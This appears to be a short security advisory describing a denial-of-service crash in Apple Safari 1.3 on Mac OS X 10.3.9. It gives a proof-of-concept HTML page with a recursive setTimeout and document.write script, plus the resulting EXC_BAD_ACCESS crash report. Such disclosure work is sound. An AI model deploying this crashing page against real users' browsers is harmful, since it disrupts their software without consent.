- Home
- About
- Auditing Services
- Services
- Solutions
- Case Studies
- Contact
- Downloads
- Search
- Site Map
Apple Safari Javascript Crafted Function Body DoS
A crafted HTML document results in a memory code execution violation in Apple Safari 1.3
(Apple Mac OS X 10.3.9)
<html>
<script name="JavaScript">
<!--
function tickTock()
{
setTimeout("tickTock()", 1000);
thisTime = new Date()
seconds = thisTime.getSeconds()
document.write(seconds);
}
// -->
</script>
<body onLoad="tickTock();">
</html>
Crash report is as follows:
Exception: EXC_BAD_ACCESS (0x0001)
Codes: KERN_INVALID_ADDRESS (0x0001) at 0xbf7fffa0